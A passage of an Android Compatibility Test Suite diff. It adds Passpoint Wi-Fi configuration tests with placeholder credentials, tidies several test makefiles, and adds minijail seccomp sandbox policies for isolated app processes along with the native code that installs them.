+        assertTrue(exceptionThrown);
+    }
+
     private Set<String> getEnabledNetworks(List<WifiConfiguration> configuredNetworks) {
         Set<String> ssids = new HashSet<String>();
         for (WifiConfiguration wifiConfig : configuredNetworks) {
@@ -524,4 +548,130 @@
         }
         assertTrue(i < 15);
     }
+
+    /**
+     * Verify Passpoint configuration management APIs (add, remove, get) for a Passpoint
+     * configuration with an user credential.
+     *
+     * @throws Exception
+     */
+    public void testAddPasspointConfigWithUserCredential() throws Exception {
+        testAddPasspointConfig(generatePasspointConfig(generateUserCredential()));
+    }
+
+    /**
+     * Verify Passpoint configuration management APIs (add, remove, get) for a Passpoint
+     * configuration with a certificate credential.
+     *
+     * @throws Exception
+     */
+    public void testAddPasspointConfigWithCertCredential() throws Exception {
+        testAddPasspointConfig(generatePasspointConfig(generateCertCredential()));
+    }
+
+    /**
+     * Verify Passpoint configuration management APIs (add, remove, get) for a Passpoint
+     * configuration with a SIm credential.
+     *
+     * @throws Exception
+     */
+    public void testAddPasspointConfigWithSimCredential() throws Exception {
+        testAddPasspointConfig(generatePasspointConfig(generateSimCredential()));
+    }
+
+    /**
+     * Helper function for generating a {@link PasspointConfiguration} for testing.
+     *
+     * @return {@link PasspointConfiguration}
+     */
+    private PasspointConfiguration generatePasspointConfig(Credential credential) {
+        PasspointConfiguration config = new PasspointConfiguration();
+        config.setCredential(credential);
+
+        // Setup HomeSp.
+        HomeSp homeSp = new HomeSp();
+        homeSp.setFqdn("Test.com");
+        homeSp.setFriendlyName("Test Provider");
+        config.setHomeSp(homeSp);
+
+        return config;
+    }
+
+    /**
+     * Helper function for generating an user credential for testing.
+     *
+     * @return {@link Credential}
+     */
+    private Credential generateUserCredential() {
+        Credential credential = new Credential();
+        credential.setRealm("test.net");
+        Credential.UserCredential userCred = new Credential.UserCredential();
+        userCred.setEapType(21 /* EAP_TTLS */);
+        userCred.setUsername("username");
+        userCred.setPassword("password");
+        userCred.setNonEapInnerMethod("PAP");
+        credential.setUserCredential(userCred);
+        credential.setCaCertificate(FakeKeys.CA_CERT0);
+        return credential;
+    }
+
+    /**
+     * Helper function for generating a certificate credential for testing.
+     *
+     * @return {@link Credential}
+     */
+    private Credential generateCertCredential() throws Exception {
+        Credential credential = new Credential();
+        credential.setRealm("test.net");
+        Credential.CertificateCredential certCredential = new Credential.CertificateCredential();
+        certCredential.setCertType("x509v3");
+        certCredential.setCertSha256Fingerprint(
+                MessageDigest.getInstance("SHA-256").digest(FakeKeys.CLIENT_CERT.getEncoded()));
+        credential.setCertCredential(certCredential);
+        credential.setCaCertificate(FakeKeys.CA_CERT0);
+        credential.setClientCertificateChain(new X509Certificate[] {FakeKeys.CLIENT_CERT});
+        credential.setClientPrivateKey(FakeKeys.RSA_KEY1);
+        return credential;
+    }
+
+    /**
+     * Helper function for generating a SIM credential for testing.
+     *
+     * @return {@link Credential}
+     */
+    private Credential generateSimCredential() throws Exception {
+        Credential credential = new Credential();
+        credential.setRealm("test.net");
+        Credential.SimCredential simCredential = new Credential.SimCredential();
+        simCredential.setImsi("1234*");
+        simCredential.setEapType(18 /* EAP_SIM */);
+        credential.setSimCredential(simCredential);
+        return credential;
+    }
+
+    /**
+     * Helper function verifying Passpoint configuration management APIs (add, remove, get) for
+     * a given configuration.
+     *
+     * @param config The configuration to test with
+     */
+    private void testAddPasspointConfig(PasspointConfiguration config) throws Exception {
+        mWifiManager.addOrUpdatePasspointConfiguration(config);
+
+        // Certificates and keys will be set to null after it is installed to the KeyStore by
+        // WifiManager.  Reset them in the expected config so that it can be used to compare
+        // against the retrieved config.
+        config.getCredential().setCaCertificate(null);
+        config.getCredential().setClientCertificateChain(null);
+        config.getCredential().setClientPrivateKey(null);
+
+        // Retrieve the configuration and verify it.
+        List<PasspointConfiguration> configList = mWifiManager.getPasspointConfigurations();
+        assertEquals(1, configList.size());
+        assertEquals(config, configList.get(0));
+
+        // Remove the configuration and verify no installed configuration.
+        mWifiManager.removePasspointConfiguration(config.getHomeSp().getFqdn());
+        assertTrue(mWifiManager.getPasspointConfigurations().isEmpty());
+    }
 }
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
index 6dec23f..ab1e60a 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
@@ -20,9 +20,11 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
     ctstestserver \
-    org.apache.http.legacy
+    org.apache.http.legacy \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src common)
 
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
index 6df748d..9f0fbec 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
@@ -20,9 +20,11 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
     ctstestserver \
-    org.apache.http.legacy
+    org.apache.http.legacy \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src common)
 
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
index 6f35027..3d803f8 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
@@ -20,9 +20,11 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
     ctstestserver \
-    org.apache.http.legacy
+    org.apache.http.legacy \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src common)
 
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
index 3993d00..2d5c98c 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
@@ -20,7 +20,11 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    org.apache.http.legacy \
+    android-support-test \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
index cace6d0..a0784f0 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
@@ -20,7 +20,11 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    org.apache.http.legacy \
+    android-support-test \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/opengl/libopengltest/Android.mk b/tests/tests/opengl/libopengltest/Android.mk
index afa94dc..f05fd8c 100755
--- a/tests/tests/opengl/libopengltest/Android.mk
+++ b/tests/tests/opengl/libopengltest/Android.mk
@@ -39,6 +39,9 @@
 LOCAL_CXX_STL := libc++_static
 
 LOCAL_SHARED_LIBRARIES := libGLESv2 liblog
+
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
 
 
diff --git a/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp b/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp
index fe49b1b..a511f9a 100755
--- a/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp
+++ b/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp
@@ -135,7 +135,7 @@
         jclass obj, jint pCategory, jint pSubCategory, jfloatArray color)
 {
     LOGI("Inside draw %d %d", pCategory, pSubCategory);
-    jfloatArray result;
+    jfloatArray result = nullptr;
     if(pCategory == 3){
         if(pSubCategory == 1){
             result = env->NewFloatArray(4);
@@ -143,8 +143,8 @@
             jfloat *lColor =  env->GetFloatArrayElements(color,0);
 
             float * actualColor = drawColorOne(lColor);
-            for( int i= 0; i < sizeof(actualColor); i++) {
-                LOGI("actualColor[%d] ; %f", i, actualColor[i]);
+            for(unsigned i = 0; i < sizeof(actualColor); i++) {
+                LOGI("actualColor[%u] ; %f", i, actualColor[i]);
             }
             env->SetFloatArrayRegion(result, 0, 4, actualColor);
         }
diff --git a/tests/tests/openglperf/Android.mk b/tests/tests/openglperf/Android.mk
index 56fa568..eea3b86 100644
--- a/tests/tests/openglperf/Android.mk
+++ b/tests/tests/openglperf/Android.mk
@@ -41,10 +41,4 @@
 
 include $(BUILD_CTS_PACKAGE)
 
-# Make the replica island app and copy it to CTS out dir.
-cts_replica_name := com.replica.replicaisland
-cts_replica_apk := $(CTS_TESTCASES_OUT)/$(cts_replica_name).apk
-$(cts_replica_apk): $(call intermediates-dir-for,APPS,$(cts_replica_name))/package.apk
-	$(call copy-file-to-target)
-
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/openglperf/jni/Android.mk b/tests/tests/openglperf/jni/Android.mk
index d6df59b..3fe448a 100644
--- a/tests/tests/openglperf/jni/Android.mk
+++ b/tests/tests/openglperf/jni/Android.mk
@@ -28,4 +28,6 @@
 
 LOCAL_SDK_VERSION := 14
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index 5397fc6a..0ee48ff 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_MULTILIB := both
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctsdeviceutil ctstestrunner guava
+    ctsdeviceutil ctstestrunner guava junit legacy-android-test
 
 LOCAL_JNI_SHARED_LIBRARIES := libcts_jni libctsos_jni libnativehelper_compat_libc++
 
@@ -45,6 +45,40 @@
 #LOCAL_SDK_VERSION := current
 LOCAL_JAVA_LIBRARIES += android.test.runner
 
+# Do not compress minijail policy files.
+LOCAL_AAPT_FLAGS := -0 .policy
+
 include $(BUILD_CTS_PACKAGE)
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
+
+# platform version check (b/32056228)
+# ============================================================
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := cts-platform-version-check
+LOCAL_MODULE_CLASS := ETC
+LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+cts_platform_version_path := cts/tests/tests/os/assets/platform_versions.txt
+cts_platform_version_string := $(shell cat $(cts_platform_version_path))
+
+include $(BUILD_SYSTEM)/base_rules.mk
+
+$(LOCAL_BUILT_MODULE) : $(cts_platform_version_path) build/core/version_defaults.mk
+	$(hide) if [ -z "$(findstring $(PLATFORM_VERSION),$(cts_platform_version_string))" ]; then \
+		echo "============================================================" 1>&2; \
+		echo "Could not find version \"$(PLATFORM_VERSION)\" in CTS platform version file:" 1>&2; \
+		echo "" 1>&2; \
+		echo "	$(cts_platform_version_path)" 1>&2; \
+		echo "" 1>&2; \
+		echo "Most likely PLATFORM_VERSION in build/core/version_defaults.mk" 1>&2; \
+		echo "has changed and a new version must be added to this CTS file." 1>&2; \
+		echo "============================================================" 1>&2; \
+		exit 1; \
+	fi
+	@mkdir -p $(dir $@)
+	echo $(cts_platform_version_string) > $@
diff --git a/tests/tests/os/assets/minijail/isolated-arm.policy b/tests/tests/os/assets/minijail/isolated-arm.policy
new file mode 100644
index 0000000..2e47d92
--- /dev/null
+++ b/tests/tests/os/assets/minijail/isolated-arm.policy
@@ -0,0 +1,78 @@
+# Minijail Seccomp Policy for isolated_app processes on ARM (32-bit).
+
+access: return EPERM
+ARM_breakpoint: 1
+ARM_cacheflush: 1
+ARM_set_tls: 1
+ARM_usr26: 1
+ARM_usr32: 1
+chmod: return EPERM
+chown32: return EPERM
+chown: return EPERM
+creat: return EPERM
+dup2: 1
+epoll_create: 1
+epoll_wait: 1
+fchown32: return EPERM
+
+# fnctl64: restrict cmd
+fcntl64: arg1 == F_GETFL || arg1 == F_GETFD || arg1 == F_SETFD || arg1 == F_SETLK || arg1 == F_SETLKW || arg1 == F_GETLK || arg1 == F_DUPFD
+
+fork: return EPERM
+fstat64: 1
+fstatat64: 1
+ftruncate64: 1
+futimesat: return EPERM
+getdents: 1
+getdents64: return EPERM
+getegid32: 1
+geteuid32: 1
+getgid32: 1
+getgroups32: 1
+getresgid32: 1
+getresuid32: 1
+getuid32: 1
+lchown32: return EPERM
+lchown: return EPERM
+link: return EPERM
+_llseek: 1
+lstat64: return EPERM
+lstat: return EPERM
+mkdir: return EPERM
+mknod: return EPERM
+
+# mmap2: flags in {MAP_SHARED|MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK|MAP_NORESERVE|MAP_FIXED|MAP_DENYWRITE}
+mmap2: arg3 in 0x24833
+
+_newselect: 1
+open: 1
+pause: 1
+pipe: 1
+poll: 1
+readlink: return EPERM
+recv: 1
+rename: return EPERM
+rmdir: return EPERM
+send: 1
+setfsgid32: return EPERM
+setfsuid32: return EPERM
+setgid32: return EPERM
+setgroups32: return EPERM
+setregid32: return EPERM
+setresgid32: return EPERM
+setresuid32: return EPERM
+setreuid32: return EPERM
+setuid32: return EPERM
+sigaction: 1
+sigprocmask: 1
+sigreturn: 1
+stat64: return EPERM
+statfs64: return EPERM
+stat: return EPERM
+symlink: return EPERM
+truncate64: return EPERM
+ugetrlimit: 1
+unlink: return EPERM
+uselib: return EPERM
+ustat: return EPERM
+utimes: return EPERM
diff --git a/tests/tests/os/assets/minijail/isolated-arm64.policy b/tests/tests/os/assets/minijail/isolated-arm64.policy
new file mode 100644
index 0000000..66be1f7
--- /dev/null
+++ b/tests/tests/os/assets/minijail/isolated-arm64.policy
@@ -0,0 +1,9 @@
+# Minijail Seccomp Policy for isolated_app processes on AARCH64.
+
+getdents64: 1
+getrlimit: 1
+
+# mmap: flags in {MAP_SHARED|MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK|MAP_NORESERVE|MAP_FIXED|MAP_DENYWRITE}
+mmap: arg3 in 0x24833
+
+newfstatat: 1
diff --git a/tests/tests/os/assets/minijail/isolated-common-not-i386.policy b/tests/tests/os/assets/minijail/isolated-common-not-i386.policy
new file mode 100644
index 0000000..c65fd8e
--- /dev/null
+++ b/tests/tests/os/assets/minijail/isolated-common-not-i386.policy
@@ -0,0 +1,37 @@
+# Minijail Seccomp Policy for isolated_app processes on all architectures
+# except I386.
+# This policy is appended to the architecture-specific policy.
+
+accept4: return EPERM
+accept: return EPERM
+bind: return EPERM
+connect: 1
+getsockopt: 1
+listen: return EPERM
+msgctl: return EPERM
+msgget: return EPERM
+msgrcv: return EPERM
+msgsnd: return EPERM
+recvfrom: 1
+recvmsg: 1
+semctl: return EPERM
+semget: return EPERM
+semop: return EPERM
+semtimedop: return EPERM
+sendmsg: 1
+sendto: 1
+
+# setsockopt: level==SOL_SOCKET && optname==SO_PEEK_OFF
+setsockopt: arg1 == 1 && arg2 == 42
+
+shmat: return EPERM
+shmctl: return EPERM
+shmdt: return EPERM
+shmget: return EPERM
+shutdown: 1
+
+# socket: domain==AF_UNIX && protocol == 0
+socket: arg0 == 1 && arg2 == 0
+
+# socketpair: domain==AF_UNIX
+socketpair: arg0 == 1
diff --git a/tests/tests/os/assets/minijail/isolated-common.policy b/tests/tests/os/assets/minijail/isolated-common.policy
new file mode 100644
index 0000000..48cfd49
--- /dev/null
+++ b/tests/tests/os/assets/minijail/isolated-common.policy
@@ -0,0 +1,145 @@
+# Minijail Seccomp Policy for isolated_app processes.
+# This architecture-agnostic policy is appended to every architecture-specific
+# policy.
+
+brk: 1
+capget: 1
+capset: return EPERM
+chdir: return EPERM
+
+# clock_gettime: clk_id=={CLOCK_BOOTTIME,CLOCK_MONOTONIC,CLOCK_MONOTONIC_COARSE,CLOCK_PROCESS_CPUTIME_ID,CLOCK_REALTIME,CLOCK_REALTIME_COARSE}
+clock_gettime: arg0 == 0 || arg0 == 1 || arg0 == 2 || arg0 == 5 || arg0 == 6 || arg0 == 7
+
+clone: 1
+close: 1
+dup: 1
+dup3: 1
+epoll_create1: 1
+epoll_ctl: 1
+epoll_pwait: 1
+execve: return EPERM
+exit: 1
+exit_group: 1
+faccessat: return EPERM
+fallocate: return EPERM
+fchdir: return EPERM
+fchmodat: return EPERM
+fchmod: return EPERM
+fchownat: return EPERM
+fchown: return EPERM
+
+# fnctl: restrict cmd
+fcntl: arg1 == F_GETFL || arg1 == F_GETFD || arg1 == F_SETFD || arg1 == F_SETLK || arg1 == F_SETLKW || arg1 == F_GETLK || arg1 == F_DUPFD
+
+fdatasync: 1
+flock: 1
+fstat: 1
+fsync: 1
+ftruncate: 1
+
+# futex: TODO(rsesek): Restrict op (arg1) to {FUTEX_WAIT,FUTEX_WAKE,FUTEX_REQUEUE,FUTEX_CMP_REQUEUE,
+#                      FUTEX_WAKE_OP,FUTEX_WAIT_BITSET,FUTEX_WAKE_BITSET} with only these flags allowed:
+#                      (FUTEX_PRIVATE_FLAG | FUTEX_CLOCK_REALTIME). Unclear how to express this in minijail.
+futex: 1
+
+getcwd: return EPERM
+getegid: 1
+geteuid: 1
+getgid: 1
+getgroups: 1
+getpid: 1
+getppid: 1
+getpriority: 1
+
+# getrandom: flags==0 || flags & GRND_NONBLOCK
+getrandom: arg2 == 0 || arg2 & 1
+
+getresgid: 1
+getresuid: 1
+getsid: 1
+gettid: 1
+gettimeofday: 1
+getuid: 1
+ioctl: 1
+
+# kill: pid==getpid()
+kill: arg0 == $
+
+linkat: return EPERM
+lookup_dcookie: return EPERM
+lseek: 1
+
+# madvise: advice==MADV_DONTNEED
+madvise: arg2 == 4; return EPERM
+
+memfd_create: return EPERM
+mkdirat: return EPERM
+mknodat: return EPERM
+mlock: 1
+
+# mprotect: prot in {PROT_READ|PROT_WRITE|PROT_EXEC}
+mprotect: arg2 in 0x7
+
+mremap: 1
+msync: 1
+munlock: 1
+munmap: 1
+nanosleep: 1
+openat: 1
+pipe2: 1
+ppoll: 1
+
+# prctl: PR_SET_VMA=0x53564d41, PR_SET_TIMERSLACK_PID={41,43,127} depending on kernel version
+prctl: arg0 == PR_GET_NAME || arg0 == PR_SET_NAME || arg0 == PR_GET_DUMPABLE || arg0 == PR_SET_DUMPABLE || arg0 == PR_SET_PTRACER || arg0 == 0x53564d41 || arg0 == 41 || arg0 == 43 || arg0 == 127
+
+pread64: 1
+pselect6: 1
+ptrace: 1
+pwrite64: 1
+read: 1
+readlinkat: return EPERM
+readv: 1
+renameat: return EPERM
+renameat2: return EPERM
+restart_syscall: 1
+rt_sigaction: 1
+rt_sigprocmask: 1
+rt_sigreturn: 1
+rt_sigtimedwait: 1
+
+# rt_tgsigqueueinfo: tgid==getpid()
+rt_tgsigqueueinfo: arg0 == $
+
+sched_getparam: 1
+sched_getscheduler: 1
+sched_setscheduler: 1
+sched_yield: 1
+seccomp: return EPERM
+setfsgid: return EPERM
+setfsuid: return EPERM
+setgid: return EPERM
+setgroups: return EPERM
+setpriority: 1
+setregid: return EPERM
+setresgid: return EPERM
+setresuid: return EPERM
+setreuid: return EPERM
+set_robust_list: return EPERM
+set_tid_address: 1
+setuid: return EPERM
+sigaltstack: 1
+statfs: return EPERM
+symlinkat: return EPERM
+
+# tgkill: tgid==getpid()
+tgkill: arg0 == $
+
+truncate: return EPERM
+umask: return EPERM
+uname: 1
+unlinkat: return EPERM
+utimensat: return EPERM
+wait4: 1
+waitid: 1
+write: 1
+writev: 1
diff --git a/tests/tests/os/assets/minijail/isolated-i386.policy b/tests/tests/os/assets/minijail/isolated-i386.policy
new file mode 100644
index 0000000..a5798d0
--- /dev/null
+++ b/tests/tests/os/assets/minijail/isolated-i386.policy
@@ -0,0 +1,87 @@
+# Minijail Seccomp Policy for isolated_app processes on I386.
+
+access: return EPERM
+chmod: return EPERM
+chown32: return EPERM
+chown: return EPERM
+creat: return EPERM
+dup2: 1
+epoll_create: 1
+epoll_wait: 1
+fchown32: return EPERM
+
+# fnctl64: restrict cmd
+fcntl64: arg1 == F_GETFL || arg1 == F_GETFD || arg1 == F_SETFD || arg1 == F_SETLK || arg1 == F_SETLKW || arg1 == F_GETLK || arg1 == F_DUPFD
+
+fork: return EPERM
+fstat64: 1
+fstatat64: 1
+ftruncate64: 1
+futimesat: return EPERM
+getdents: 1
+getdents64: return EPERM
+getegid32: 1
+geteuid32: 1
+getgid32: 1
+getgroups32: 1
+getresgid32: 1
+getresuid32: 1
+getuid32: 1
+ioperm: return EPERM
+iopl: return EPERM
+ipc: return EPERM
+lchown32: return EPERM
+lchown: return EPERM
+link: return EPERM
+_llseek: 1
+lstat64: return EPERM
+lstat: return EPERM
+mkdir: return EPERM
+mknod: return EPERM
+
+# mmap2: flags in {MAP_SHARED|MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK|MAP_NORESERVE|MAP_FIXED|MAP_DENYWRITE}
+mmap2: arg3 in 0x24833
+mmap: arg3 in 0x24833
+
+_newselect: 1
+oldlstat: return EPERM
+oldstat: return EPERM
+open: 1
+pause: 1
+pipe: 1
+poll: 1
+readdir: return EPERM
+readlink: return EPERM
+rename: return EPERM
+rmdir: return EPERM
+select: 1
+set_thread_area: 1
+setfsgid32: return EPERM
+setfsuid32: return EPERM
+setgid32: return EPERM
+setgroups32: return EPERM
+setregid32: return EPERM
+setresgid32: return EPERM
+setresuid32: return EPERM
+setreuid32: return EPERM
+setuid32: return EPERM
+sigaction: 1
+sigprocmask: 1
+sigreturn: 1
+
+# socketcall: call=={SYS_CONNECT,SYS_SOCKET,SYS_GETSOCKOPT}
+socketcall: arg0 == 1 || arg0 == 3 || arg0 == 15; return EPERM
+
+stat64: return EPERM
+statfs64: return EPERM
+stat: return EPERM
+symlink: return EPERM
+time: 1
+truncate64: return EPERM
+ugetrlimit: 1
+unlink: return EPERM
+uselib: return EPERM
+ustat: return EPERM
+utime: return EPERM
+utimes: return EPERM
+waitpid: 1
diff --git a/tests/tests/os/assets/minijail/isolated-x86-64.policy b/tests/tests/os/assets/minijail/isolated-x86-64.policy
new file mode 100644
index 0000000..45ea743
--- /dev/null
+++ b/tests/tests/os/assets/minijail/isolated-x86-64.policy
@@ -0,0 +1,46 @@
+# Minijail Seccomp Policy for isolated_app processes on X86-64.
+
+access: return EPERM
+
+# arch_prctl: arg0 == ARCH_SET_GS
+arch_prctl: arg0 == 0x1001; return EPERM
+
+chmod: return EPERM
+chown: return EPERM
+creat: return EPERM
+dup2: 1
+epoll_create: 1
+epoll_wait: 1
+fork: return EPERM
+futimesat: return EPERM
+getdents64: 1
+getdents: return EPERM
+getrlimit: 1
+ioperm: return EPERM
+iopl: return EPERM
+lchown: return EPERM
+link: return EPERM
+lstat: return EPERM
+mkdir: return EPERM
+mknod: return EPERM
+
+# mmap: flags in {MAP_SHARED|MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK|MAP_NORESERVE|MAP_FIXED|MAP_DENYWRITE}
+mmap: arg3 in 0x24833
+
+newfstatat: 1
+open: 1
+pause: 1
+pipe: 1
+poll: 1
+readlink: return EPERM
+rename: return EPERM
+rmdir: return EPERM
+select: 1
+stat: return EPERM
+symlink: return EPERM
+time: 1
+unlink: return EPERM
+uselib: return EPERM
+ustat: return EPERM
+utime: return EPERM
+utimes: return EPERM
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
new file mode 100644
index 0000000..78c06e4
--- /dev/null
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -0,0 +1,2 @@
+O
+P
diff --git a/tests/tests/os/jni/Android.mk b/tests/tests/os/jni/Android.mk
index 425b6c1..0457f31 100644
--- a/tests/tests/os/jni/Android.mk
+++ b/tests/tests/os/jni/Android.mk
@@ -30,6 +30,15 @@
 		android_os_cts_NoExecutePermissionTest.cpp \
 		android_os_cts_SeccompTest.cpp
 
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+
+LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog libdl
+LOCAL_CXX_STL := none
+
+LOCAL_SRC_FILES += android_os_cts_CpuFeatures.cpp
+LOCAL_C_INCLUDES += ndk/sources/cpufeatures
+LOCAL_STATIC_LIBRARIES := cpufeatures libc++_static libminijail
+
 # Select the architectures on which seccomp-bpf are supported. This is used to
 # include extra test files that will not compile on architectures where it is
 # not supported.
@@ -42,20 +51,13 @@
 endif
 
 ifeq ($(ARCH_SUPPORTS_SECCOMP),1)
-	LOCAL_SRC_FILES += seccomp-tests/tests/seccomp_bpf_tests.c \
-			seccomp_sample_program.cpp
+	LOCAL_STATIC_LIBRARIES += external_seccomp_tests
 
 	# This define controls the behavior of OSFeatures.needsSeccompSupport().
 	LOCAL_CFLAGS += -DARCH_SUPPORTS_SECCOMP
 endif
 
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog libdl
-LOCAL_CXX_STL := none
-
-LOCAL_SRC_FILES += android_os_cts_CpuFeatures.cpp
-LOCAL_C_INCLUDES += ndk/sources/cpufeatures
-LOCAL_STATIC_LIBRARIES := cpufeatures libc++_static
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_CPPFLAGS_arm := -mcpu=generic
 
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/os/jni/android_os_cts_OSFeatures.cpp b/tests/tests/os/jni/android_os_cts_OSFeatures.cpp
index b3ccc92..bb8e965 100644
--- a/tests/tests/os/jni/android_os_cts_OSFeatures.cpp
+++ b/tests/tests/os/jni/android_os_cts_OSFeatures.cpp
@@ -31,11 +31,6 @@
 #include <sys/utsname.h>
 #include <sys/wait.h>
 
-jint android_os_cts_OSFeatures_getNoNewPrivs(JNIEnv* env, jobject thiz)
-{
-    return prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0);
-}
-
 jint android_os_cts_OSFeatures_prctlCapBsetRead(JNIEnv* env, jobject thiz, jint i)
 {
     return prctl(PR_CAPBSET_READ, i, 0, 0, 0);
@@ -93,8 +88,6 @@
 }
 
 static JNINativeMethod gMethods[] = {
-    {  "getNoNewPrivs", "()I",
-            (void *) android_os_cts_OSFeatures_getNoNewPrivs  },
     {  "prctlCapBsetRead", "(I)I",
             (void *) android_os_cts_OSFeatures_prctlCapBsetRead },
     {  "hasSeccompSupport", "()Z",
diff --git a/tests/tests/os/jni/android_os_cts_SeccompTest.cpp b/tests/tests/os/jni/android_os_cts_SeccompTest.cpp
index 1ba8550..b853c96 100644
--- a/tests/tests/os/jni/android_os_cts_SeccompTest.cpp
+++ b/tests/tests/os/jni/android_os_cts_SeccompTest.cpp
@@ -20,19 +20,10 @@
 #include <time.h>
 
 #if defined(ARCH_SUPPORTS_SECCOMP)
-#include <linux/filter.h>
-#include <linux/seccomp.h>
-#include <sys/syscall.h>
+#include <libminijail.h>
+#include <seccomp_bpf_tests.h>
 #endif
 
-#include "seccomp_sample_program.h"
-#include "seccomp-tests/tests/test_harness.h"
-
-// Forward declare from seccomp_bpf_tests.c.
-extern "C" {
-struct __test_metadata* get_seccomp_test_list();
-}
-
 static const char TAG[] = "SeccompBpfTest-Native";
 
 jboolean android_security_cts_SeccompBpfTest_runKernelUnitTest(
@@ -54,31 +45,53 @@
     return false;
 }
 
-jboolean android_security_cts_SeccompBpfTest_installTestFilter(JNIEnv*, jclass) {
+jboolean android_security_cts_SeccompBpfTest_nativeInstallTestFilter(
+        JNIEnv*, jclass, jint policyFd) {
 #if !defined(ARCH_SUPPORTS_SECCOMP)
-  return false;
-#else
-  struct sock_fprog prog = GetTestSeccompFilterProgram();
-
-  if (prog.len == 0)
     return false;
+#else
+    minijail* j = minijail_new();
+    minijail_no_new_privs(j);
+    minijail_use_seccomp_filter(j);
+    minijail_set_seccomp_filter_tsync(j);
+    minijail_parse_seccomp_filters_from_fd(j, policyFd);
+    minijail_enter(j);
+    minijail_destroy(j);
 
-  int rv = syscall(__NR_seccomp, SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_TSYNC, &prog);
-  return rv == 0;
+    close(policyFd);
+    return true;
 #endif
 }
 
+jstring android_security_cts_SeccompBpfTest_getPolicyAbiString(JNIEnv* env, jclass) {
+    const char* string;
+#if defined(__arm__)
+    string = "arm";
+#elif defined(__aarch64__)
+    string = "arm64";
+#elif defined(__i386__)
+    string = "i386";
